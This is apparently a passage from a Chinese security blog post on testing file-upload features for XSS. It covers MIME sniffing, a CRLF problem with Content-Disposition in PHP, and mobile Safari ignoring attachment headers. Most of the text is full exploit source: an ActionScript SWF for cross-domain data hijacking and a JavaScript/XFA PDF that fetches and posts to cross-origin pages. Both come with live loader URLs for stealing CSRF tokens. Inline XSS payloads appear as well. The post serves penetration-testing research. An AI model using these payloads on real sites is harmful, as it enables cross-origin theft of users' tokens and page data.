从XSSer的角度测试上传文件功能

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也就是说content-type实际上是根据扩展名来决定的。举个例子，如果目标站允许上传iso文件，且没有设置X-Content-Type-Options=nosniff头，就可以上传内容为<img src=x onerror=alert(1)>的iso文件。只要目标用户通过IE/EDGE对目标进行访问，文件就以text/html的形式解析。

0x05 尴尬的content-disposition头

这里有两个问题。一个是关于safari的，另一个是关于PHP的。

在相对较新的PHP版本当中，作为PHP的新特性如果发生了CRLF注入，目标头就会被移除。这里的问题是，有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时，将原始文件名赋值到了file=""处，那么就会产生一个存储型的CRLF漏洞。作为结果，在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一，抱歉文件又有可能被解析了。

具体代码可以参考我之前的这条twit：

https://twitter.com/mramydnei/status/782324732897075200

以上问题可以在PHP5.6.17-3可复现。

还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件，但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析，没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行，但是HTML依旧会被解析。

<?php
header("Content-Type:text/html");
header(\'Content-Disposition: attachment; filename="download.htm"\');
header("X-Content-Type-Options: nosniff");
?>
<a href=javascript:alert(1)>clickme</a>
<script>alert(1)</script>

以上内容在最新的ios for safari 10.0.2可复现。
BTW，ios8.4不但会无视Content-Disposition头，还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。

0x06 图片只检测了扩展名却没有检测magicbyte

这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件，再用irsdl写的exploit直接搞起。
flash源码：


package com.powerflasher.SampleApp {
    import flash.external.ExternalInterface;
    import flash.display.Sprite;
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.net.URLLoader;
    import flash.net.URLRequest;
    import flash.text.TextField;
    import flash.text.TextFieldAutoSize;
    import flash.xml.*;
    import flash.events.IOErrorEvent;
    import flash.events.*;
    import flash.net.*;
    /**
     * @author User
     */
    
     public class CrossDomainDataHijack extends Sprite {
        
        private var loader:URLLoader;
        public function CrossDomainDataHijack() {
            loader = new URLLoader();
            configureListeners(loader);
            var target:String = root.loaderInfo.parameters.input;
            
            var request:URLRequest = new URLRequest(target);
            try {
                loader.load(request);
            } catch (error:Error) {
                sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
            }
        }
        private function configureListeners(dispatcher:IEventDispatcher):void {
            dispatcher.addEventListener(Event.COMPLETE, completeHandler);
            dispatcher.addEventListener(Event.OPEN, openHandler);
            dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
            dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
            dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
            dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
        }
        private function completeHandler(event:Event):void {
            var loader:URLLoader = URLLoader(event.target);
            //trace("completeHandler: " + loader.data);
            sendDatatoJS("completeHandler: " + loader.data);
        }
        private function openHandler(event:Event):void {
            //trace("openHandler: " + event);
            sendDatatoJS("openHandler: " + event);
        }
        private function progressHandler(event:ProgressEvent):void {
            //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
            sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
        }
        private function securityErrorHandler(event:SecurityErrorEvent):void {
            //trace("securityErrorHandler: " + event);
            sendDatatoJS("securityErrorHandler: " + event);
        }
        private function httpStatusHandler(event:HTTPStatusEvent):void {
            //trace("httpStatusHandler: " + event);
            sendDatatoJS("httpStatusHandler: " + event);
        }
        private function ioErrorHandler(event:IOErrorEvent):void {
            //trace("ioErrorHandler: " + event);
            sendDatatoJS("ioErrorHandler: " + event);
        }
        
        private function sendDatatoJS(data:String):void{
            trace(data);
            ExternalInterface.call("sendToJavaScript", data);
        }
    }
    
    
}

Exploit：http://0me.me/demo/SOP/CrossDomainDataHijackHelper.html 
作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。
 
0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"
 
这个有些限制。IE Only+，默认的PDF浏览器必须是Adobe Reader。
PDF源码：
% Created by Soroush Dalili (@irsdl)
% Released under AGPL (see LICENSE for more information).
% Version 1.2
%PDF-1.1
1 0 obj
<<
    /Pages 2 0 R % Set to the Kids object
    /AcroForm
    <<
    /Fields[3 0 R] % Set to the text field
    /XFA 5 0 R % Set to the XDP form
    >>
    /OpenAction
        <<
        /S /JavaScript
        /JS(
            // And here fun begins... chamber of JavaScript god.
            var onloadInterval;
            var myHostContainer;
            var target="";
            var postData="";
            this.getField("mydata").multiline=true;
            
            function onErrorFunc(e, customMSG) {
                var errMessage = customMSG + " -- Error:" + e.toString();
                // We like to alert this and that! we don\'t have enough money to pay for a fancy debugger!
                app.alert(errMessage);
                logIt(errMessage,"1");
            }
            
            function onMSGHandlerErrorFunc(e) {
                onErrorFunc(e, "Error in messageHandler.");
            }
            
            function logIt(strMessage,strType){
                //this.getField("mydata").value += strMessage; // I cannot do this when I have XFA?
                // strType = 1 -> error!
                if(myHostContainer!=null && target!=""){
                    myHostContainer.postMessage([strMessage,strType]);
                }
            }
            
            try{
                this.disclosed = true; // To tell HTML that I\'m all yours! no not really! just shares a function for onMessage!
                if (this.external && this.hostContainer) {
                    function onMessageFunc( stringArray ) {
                        try{
                            target = stringArray[0];
                            if(stringArray[1])
                                postData = stringArray[1];
                            else
                                postData = "";
                            
                            // We have our target and everything set-up! If I don\'t delete my PDF file accidentally again, it should work fine!
                            var contents = "";
                            if(postData!="")
                                contents = objMy_fc_Form.func.Post(target,postData);
                            else
                                contents = objMy_fc_Form.func.Get(target);
                            
                            if(contents==""){
                                contents = "Target page was not accessible."; // I\'m so sorry master!
                                logIt(contents,"1");
                            }else{
                                contents = contents; // This is the apple! I want to eat it now! He said...
                                logIt(contents,"0");
                            }
                            
                        }
                        catch(e){
                            onErrorFunc(e , "Error in connecting to HTML section");
                        }
                    }
                    
                    try {
                        if(!this.hostContainer.messageHandler);
                        this.hostContainer.messageHandler = new Object();
                        this.hostContainer.messageHandler.myDoc = this;
                        this.hostContainer.messageHandler.onMessage = onMessageFunc;
                        //this.hostContainer.messageHandler.onError = onMSGHandlerErrorFunc;
                        this.hostContainer.messageHandler.onDisclose = function(){
                            return true;
                        };
                    }
                    catch(e){
                        onErrorFunc(e, "Error in setting messageHandler attributes.");
                    }
                    
                    function clearIntervals(){
                        app.clearInterval(onloadInterval);
                    }
                    
                    if(this.hostContainer) {
                        try{
                            // To announce that PDF is ready for action!
                            myHostContainer = this.hostContainer;
                            onloadInterval = app.setInterval("this.hostContainer.postMessage([\'loaded\',\'1\']);",500);
                            app.setTimeOut("clearIntervals();",5000); // Keep sending the message for 5 seconds to make sure HTML will receive it
                        }
                        catch(e){
                            onErrorFunc(e, "Error in telling HTML about PDF loading!");
                        }
                    }
                }
            }catch(e){
                onErrorFunc(e, "Error somewhere in the code!");
            }
        )
        >>
    /Type /Catalog
>>
endobj
2 0 obj
<<
    /Kids[
    <<
        /Parent 2 0 R
%        /Contents[10 0 R] % For the content
        /Annots 4 0 R % Set to the annotation which points to the field - I needed this to show the text box
    >>
    ]
    /Resources
    <<
        /ProcSet [ /PDF /Text ]
    >>
>>
3 0 obj<<
        /Rect[0 0 800 800]
        /Subtype/Widget
        /T(mydata)        % this is the name
        /V(Hello World from PDF!)  % this is the value
        /Type
        /Annot
        /FT
        /Tx
        /Subtype
        /Widget
        >>
endobj
4 0 obj[3 0 R]
endobj
% My XDP Form
% Interaction between JavaScript and FormCalc
% Got the idea from: blogs.adobe.com/formfeed/files/formfeed/fragments/scFormCalc.xdp and
% http://blogs.adobe.com/formfeed/2009/02/calling_formcalc_functions_fro.html
5 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf><interactive>1</interactive></pdf></present></config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
   <?formServer defaultPDFRenderFormat acrobat9.0static?>
   <subform name="myXFAForm" locale="en_US" layout="tb">
      <pageSet>
         <pageArea>
            <contentArea x="0.25in" y="0.25in" w="8in" h="10.5in"/>
            <medium stock="letter" short="8.5in" long="11in"/>
         </pageArea>
      </pageSet>
      <subform access="readOnly" h="19.05mm" name="fc" w="141.41mm">
         <variables>
            <script contentType="application/x-javascript" name="func">
                var objDoc=-1;            
                /**
                 * This script object contains a series of functions
                 * that redirect their input to the corresponding formcalc
                 * functions.
                 * If you want to call these functions from an initialization script,
                 * be sure to place the fc subform at the front of the template. <br/>
                 * Version 2: Added Get().  Use execEvent("enter") instead of the calculate event.
                 * Calculate was introducing un-needed dependency tracking.
                 */
                var oVersionInfo = {
                    identifier:    "FormCalcFromJavaScript",
                    assetType:       "fragment",
                    description:   "Support for FormCalc functions: Format(), Parse(), WordNum(), Uuid(), UnitValue(), Get()",
                    currentVersion: 2
                };
                /*global F P1 P2 NullValue ResultString */
                /**
                 * Format a value based on a picture
                 * @param vPicture - the picture clause
                 * @param vValue - The value to format
                 * @return the formatted value. Empty string if the format fails.
                 */
                function Format(vPicture, vValue)
                {
                    F.value = "Format";
                    P1.value = vPicture;
                    P2.value = vValue;
                    NullValue.value = vValue === null;
                    this.execEvent("enter");
                    return ResultString.value;
                }
                /**
                 * Parse a value based on a picture
                 * @param vPicture - the picture clause
                 * @param vValue - The value to parse
                 * @return the raw/canonical value. Empty string if the parse fails.
                 */
                function Parse(vPicture, vValue)
                {
                    F.value = "Parse";
                    P1.value = vPicture;
                    P2.value = vValue;
                    this.execEvent("enter");
                    return ResultString.value;
                }
                /**
                 * Convert a number into words.  Note that currently only English is supported.
                 * @param vInputValue
                 * @return the value expressed as words.
                 */
                function WordNum(vInputValue)
                {
                    F.value = "WordNum";
                    // Make sure we convert all numeric input values to string
                    // all parameters to formcalc functions are strings
                    P1.value = vInputValue.toString();
                    this.execEvent("enter");
                    return ResultString.value;
                }
                /**
                 * Return a Universally Unique Identifier (UUID) string.
                 * @param vN1 identifies the format of UUID string requested:<br/>
                 * if the value is 0, the returned UUID string will only contain hex octets.<br/>
                 * if the value is 1, the returned UUID string will contain dash characters separating the sequences of hex octets, at fixed positions.
                 * @return the uuid value string
                 */
                function Uuid(vN1)
                {
                    F.value = "Uuid";
                    P1.value = vN1.toString();
                    this.execEvent("enter");
                    return ResultString.value;
                }
                /**
                 * Returns the value of a unitspan after an optional unit conversion.
                 * A unitspan string consist of a number immediately followed by a unit name.
                 * Recognized unit names include:in, mm, cm, pt
                 * @param vMeasurement -- the measurement string value
                 * @param vUnits - the units to convert to
                 * @return the numeric value in the requested units
                 */
                function UnitValue(vMeasurement, vUnits)
                {
                    F.value = "UnitValue";
                    P1.value = vMeasurement;
                    P2.value = vUnits;
                    this.execEvent("enter");
                    // cast return value to the expected type.
                    return parseFloat(ResultString.value);
                }
                /**
                 * Download the contents of the given URL.
                 * @param vAddress -- the requested URL
                 * @return the contents of the URL.
                 */
                function Get(vAddress)
                {
                    F.value = "Get";
                    P1.value = vAddress;
                    this.execEvent("enter");
                    return ResultString.value;
                }
                
                /**
                 * Download the contents of the given URL.
                 * @param vAddress -- the requested URL
                 * @param vContent -- POST data
                 * @return the contents of the URL.
                 */
                function Post(vAddress,vContent)
                {
                    F.value = "Post";
                    P1.value = vAddress;
                    P2.value = vContent;
                    this.execEvent("enter");
                    return ResultString.value;
                }
                
                function Test(){
                    //setTimeOut(\'app.alert(this.getField("mydata"))\',3000);
                    //app.alert(app.getField);
                    return -1;
                }
        </script>
        <?templateDesigner expand 1?></variables>
        <bind match="none"/>
        <event activity="initialize" name="event__initialize">
            <script contentType="application/x-javascript">
                // Define all the variables needed to pass parameters to/from the FormCalc functions
                /*global fc */
                
                if (fc.variables.nodes.namedItem("F") === null) {
                    this.variables.nodes.append(xfa.form.createNode("text", "F"));
                    this.variables.nodes.append(xfa.form.createNode("text", "P1"));
                    this.variables.nodes.append(xfa.form.createNode("boolean", "NullValue"));
                    this.variables.nodes.append(xfa.form.createNode("text", "P2"));        
                    this.variables.nodes.append(xfa.form.createNode("text", "ResultString"));    
                    this.variables.nodes.append(xfa.form.createNode("text", "P3"));    
                    this.variables.nodes.append(xfa.form.createNode("text", "P4"));    
                    this.variables.nodes.append(xfa.form.createNode("text", "P5"));                        
                }
                
                // Record this for now as JavaScript god may not send us a better fruit! Adam said!
                fc.func.objDoc=event.target;
                
                // We need to send this up where JavaScript god can use it! ;)
                event.target.objMy_fc_Form = fc;
                
            </script>
         </event>
         <event activity="enter" name="event__enter">
            <script contentType=\'application/x-formcalc\'>
                ; execute the requested function based on the input
                ; request parameters
                if (F == "WordNum") then
                    ResultString = WordNum(P1)
                    
                elseif (F == "Parse") then
                    ResultString = Parse(P1, P2)
                    
                elseif (F == "Format") then
                    if (NullValue) then
                        ResultString = Format(P1, null)
                    else
                        ResultString = Format(P1, P2)
                    endif
                    
                elseif (F == "Uuid") then
                    ResultString = Uuid(P1)
                    
                elseif (F == "UnitValue") then
                    ResultString = UnitValue(P1, P2)
                elseif (F == "Get") then
                    ResultString = Get(P1)
                    
                elseif (F == "Post") then
                    ResultString = Post(P1, P2)
                    ; POST in FormCalc can accept more inputs such as additional headers!
                    ; example: Post(P1, P2, "application/x-www-form-urlencoded", "utf-8", "Referer: " + P1);
                else
                    ResultString = ""
                endif
            </script>
         </event>
         <?templateDesigner expand 1?>
         <?templateDesigner isFragment yes?>
         <?templateDesigner fragmentTitle scFormCalc?>
         <?templateDesigner fragmentDescription Allow access to FormCalc built in functions from JavaScript?>
       </subform>
   </subform>
   <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.8/?>
   <?templateDesigner FormTargetVersion 28?>
   <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
   <?templateDesigner Zoom 56?></template>
</xdp:xdp>
endstream
endobj
6 0 obj
<<
/Producer (@irsdl)
/Subject (Sec test)
/Title (Sec test)
/Author (root)
/Keywords (Sec test)
>>
endobj
% The following object is disabled which could be used in the content
%10 0 obj
%<<
%>>
%stream
%    BT/default 10 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
%endstream
%endobj
trailer
<<
    /Size 8
    /ID [ (irsdl) (MyfancyPDF) ]
    /Root 1 0 R
    /Info 6 0 R
>>
Exploit：
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://15.rs/ContentHijacking/objects/ContentHijacking.pdf&objtype=pdf&target=https://0me.me/&postdata=param1=foobar&logmode=all?ex=owasp.*&isauto=1 作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。



  
  
    
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